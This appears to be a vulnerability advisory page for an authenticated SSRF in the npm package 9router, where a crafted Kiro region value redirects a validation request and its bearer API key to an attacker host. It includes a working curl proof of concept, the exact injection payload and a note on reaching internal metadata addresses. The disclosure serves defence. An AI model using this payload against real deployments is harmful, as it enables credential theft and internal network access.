Skip to content

GHSA-6mwv-4mrm-5p3m CVE-2026-56678

9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding

Medium npm
Severity
6.4 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.21%
Chance of exploitation in the next 30 days. Higher than 11.27% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
CWE-918 Server-Side Request Forgery (SSRF)
Fix
0.5.6
Upgrade 9router to this version or later

Description

Summary

The Kiro API-key validation endpoint builds an upstream URL using a user-controlled region value. By supplying a crafted region such as kiro-canary.local:8443#, an authenticated attacker can cause 9router to send the Kiro validation request to an attacker-controlled host under the constructed codewhisperer.<region> hostname. The request forwards the submitted Kiro API key as an Authorization: Bearer header.

Details

  • Affected version / commit: 9router v0.5.2 @ 5da508a.
  • Endpoint: POST /api/oauth/kiro/api-key.
  • Correct runtime payload: region: "kiro-canary.local:8443#".
  • Do not use the old @host# payload (region: "@kiro-canary.local:8443#"); it is blocked by Node/undici fetch() because it creates URL credentials ("Request cannot be constructed from a URL that includes credentials").
  • Constructed upstream host becomes: codewhisperer.kiro-canary.local:8443 (the # turns the trailing .amazonaws.com into a URL fragment).
  • HTTPS canary captured: Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO.
  • TLS verification was not globally disabled; the reproduction uses a local CA via NODE_EXTRA_CA_CERTS.
  • The no-auth control returns 401, so this standalone issue is authenticated.
  • SameSite=Lax on the session cookie prevents cross-site POST cookie delivery, so do not claim drive-by CSRF unless another same-site / auth-bypass primitive is chained.

Root cause. The route reads region straight from the request body and passes it, unvalidated, into the upstream URL template; the bearer credential is forwarded to that host, and the upstream response body is reflected back to the client on error:

// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
  return NextResponse.json({ error: error.message }, { status: 500 });   // reflects upstream body
}
// src/lib/oauth/services/kiro.js — listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`;        // region interpolated
const response = await fetch(endpoint, {
  method: "POST",
  headers: {
    "x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
    "Authorization": `Bearer ${accessToken}`,                            // credential forwarded
    ...
  },
  body: JSON.stringify({ maxResults: 10 }),
});
if (!response.ok) {
  const error = await response.text();
  throw new Error(`Failed to list profiles: ${error}`);                  // upstream body -> error.message
}

There is no allowlist on region, and the call uses the default fetch dispatcher (no internal-IP denylist / DNS pinning), so a codewhisperer.<attacker-domain> that resolves to an internal address (e.g. 169.254.169.254 or RFC1918) would be reached.

PoC

Start the package:

docker compose up --build

The endpoint is authenticated, so first obtain a dashboard session using the password configured in docker-compose.yml (INITIAL_PASSWORD), saving the cookie:

curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"password":"repro-dashboard-pass"}'

Then send the region-injection request with that session cookie:

curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
  -H "Content-Type: application/json" \
  -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'

Expected:

  • 9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected.
  • docker compose logs kiro-canary shows a request with:
    • Host: codewhisperer.kiro-canary.local:8443
    • Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO

No-auth control (no session cookie):

curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
  -H "Content-Type: application/json" \
  -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'

Expected: 401 Unauthorized.

Safe-region control (region: "us-east-1"): no canary hit; the blackholed AWS host is never contacted.

Impact

An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug.

Screenshots

The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.

1. Safe-region control — normal Kiro validation path

<img width="1548" height="831" alt="01-kiro-safe-region-control" src="https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b" />

An authenticated request to /api/oauth/kiro/api-key using the valid region us-east-1 and a dummy API key completes normally with 200 OK. This establishes the expected non-malicious validation path.

2. Region-injection SSRF trigger — canary marker reflected

<img width="1547" height="840" alt="02-kiro-region-injection-ssrf-500-reflection" src="https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780" />

An authenticated request supplies the crafted region value kiro-canary.local:8443#. Because the upstream URL is built from the raw region value, the request is routed to the attacker-controlled canary host under the constructed codewhisperer.<attacker-domain> hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.

3. HTTPS canary evidence — Authorization header forwarded

<img width="1476" height="960" alt="03-kiro-canary-authorization-captured" src="https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1" />

The HTTPS canary logs show a server-side request from the 9router container with Host: codewhisperer.kiro-canary.local:8443 and Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.

4. No-auth control — endpoint requires authentication

<img width="1544" height="839" alt="04-kiro-no-auth-control-401" src="https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9" />

The same region-injection payload is sent without an authenticated session cookie, and the server returns 401 Unauthorized. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.

Suggested Fix

  • Validate region against a strict allowlist of known Kiro/AWS regions (e.g. ^[a-z]{2}-[a-z]+-\d$).
  • Construct upstream endpoints only from fixed enum values.
  • Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or hostname separators.
  • After URL construction, validate that the final hostname exactly matches the expected AWS/Kiro hostname pattern.
  • Do not forward Authorization headers to hosts derived from untrusted input, and stop reflecting upstream response bodies in error.message.

Affected versions

npm

PackageVulnerableFixed in
9router
< 0.5.6
0.5.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

9router npm → 0.5.6

npm
npm install 9router@0.5.6
yarn
yarn add 9router@0.5.6
pnpm
pnpm add 9router@0.5.6

Severity breakdown

CVSS 3.1 6.4

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-32gc-64m7-hj7v
9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header
Medium Also affects 9router
GHSA-5mj8-gf6m-fhw8
9Router has an Authentication Bypass in Public LLM API via Spoofable X-9r-Real-Ip Header
High Also affects 9router
GHSA-8g4w-4ffg-8vgx
9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint
High Also affects 9router
GHSA-vmjq-hvgq-2wv4
9router: Mass assignment in PATCH /api/settings allows authenticated authorization downgrade
High Also affects 9router
GHSA-x5c9-v98j-722r
9router /v1 APIs has unauthenticated access via reverse proxy locality collapse
High Also affects 9router
GHSA-86m2-fcxq-5q7c
9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF
High Also affects 9router
GHSA-8gmq-j984-vp4r
9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass
High Also affects 9router
GHSA-cmhj-wh2f-9cgx
9router: Image prefetch DNS rebinding allows SSRF to internal services
High Also affects 9router
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor